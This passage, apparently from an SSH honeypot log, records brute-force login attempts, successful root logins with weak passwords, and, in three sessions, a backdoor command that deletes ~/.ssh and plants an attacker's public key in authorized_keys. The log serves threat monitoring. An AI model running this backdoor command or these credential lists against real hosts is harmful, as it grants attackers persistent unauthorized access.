    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

2.57.122.238

2026-05-17 17:48:39.009144 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sol

Record ID: 1a942c82c4d8

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "1a942c82c4d8",
  "src_ip": "2.57.122.238",
  "start_time": "2026-05-17T17:48:39.009144Z",
  "end_time": "2026-05-17T17:48:40.854236Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "sol",
      "pass": "sol123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:47:41.357219 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: a

Record ID: 994f8fd205a9

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "994f8fd205a9",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:47:41.357219Z",
  "end_time": "2026-05-17T17:47:43.269397Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "a",
      "pass": "a"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:46:29.311244 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nginx

Record ID: 89bb18df544c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "89bb18df544c",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:46:29.311244Z",
  "end_time": "2026-05-17T17:46:31.235626Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "nginx",
      "pass": "nginx"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.122.238

2026-05-17 17:46:22.752321 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: validator

Record ID: b9eac1a45a8f

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "b9eac1a45a8f",
  "src_ip": "2.57.122.238",
  "start_time": "2026-05-17T17:46:22.752321Z",
  "end_time": "2026-05-17T17:46:24.596677Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "validator",
      "pass": "validator"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:45:22.850260 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: aaccbdcc8989

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "aaccbdcc8989",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:45:22.850260Z",
  "end_time": "2026-05-17T17:45:23.773341Z",
  "duration": "0.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:45:20.791570 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 9c63de9c80a6

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "9c63de9c80a6",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:45:20.791570Z",
  "end_time": "2026-05-17T17:45:22.706751Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:45:18.875267 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Vps@123!

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 67d48b319c9a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 4.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "67d48b319c9a",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:45:18.875267Z",
  "end_time": "2026-05-17T17:45:23.770467Z",
  "duration": "4.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Vps@123!"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

34.91.0.68

2026-05-17 17:44:13.472993 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 2e883b7da9de

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "2e883b7da9de",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:44:13.472993Z",
  "end_time": "2026-05-17T17:44:14.386507Z",
  "duration": "0.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:44:11.423131 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 28487e0cdc92

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "28487e0cdc92",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:44:11.423131Z",
  "end_time": "2026-05-17T17:44:13.330870Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:44:09.410780 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Work@123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 5a0c458a2d22

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "5a0c458a2d22",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:44:09.410780Z",
  "end_time": "2026-05-17T17:44:14.383631Z",
  "duration": "5.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Work@123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

2.57.122.238

2026-05-17 17:44:04.442523 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ubuntu

Record ID: 0844c4eab49e

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "0844c4eab49e",
  "src_ip": "2.57.122.238",
  "start_time": "2026-05-17T17:44:04.442523Z",
  "end_time": "2026-05-17T17:44:06.288753Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "ubuntu",
      "pass": "ubuntu"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:43:03.655387 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mark

Record ID: d5aa90f00b11

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d5aa90f00b11",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:43:03.655387Z",
  "end_time": "2026-05-17T17:43:05.567617Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "mark",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:42:00.133444 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: es

Record ID: 1fa900b7bc90

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "1fa900b7bc90",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:42:00.133444Z",
  "end_time": "2026-05-17T17:42:02.055368Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "es",
      "pass": "es@2025"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.122.238

2026-05-17 17:41:44.416943 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: node

Record ID: 9196ce400e9a

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "9196ce400e9a",
  "src_ip": "2.57.122.238",
  "start_time": "2026-05-17T17:41:44.416943Z",
  "end_time": "2026-05-17T17:41:46.259798Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "node",
      "pass": "node"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:40:55.180070 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dss

Record ID: 7f63060d2bf6

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "7f63060d2bf6",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:40:55.180070Z",
  "end_time": "2026-05-17T17:40:57.107550Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "dss",
      "pass": "dss"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

96.56.228.149

2026-05-17 17:40:51.309403 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin

Record ID: 9fbd4f09bc78

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 3.9s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "9fbd4f09bc78",
  "src_ip": "96.56.228.149",
  "start_time": "2026-05-17T17:40:51.309403Z",
  "end_time": "2026-05-17T17:40:55.185224Z",
  "duration": "3.9",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "admin",
      "pass": "123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:39:57.176244 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: af4d7ac37ac2

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "af4d7ac37ac2",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:39:57.176244Z",
  "end_time": "2026-05-17T17:39:58.086473Z",
  "duration": "0.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

34.91.0.68

2026-05-17 17:39:55.085666 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 5cc78711a0ce

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "5cc78711a0ce",
  "src_ip": "34.91.0.68",
  "start_time": "2026-05-17T17:39:55.085666Z",
  "end_time": "2026-05-17T17:39:57.041440Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}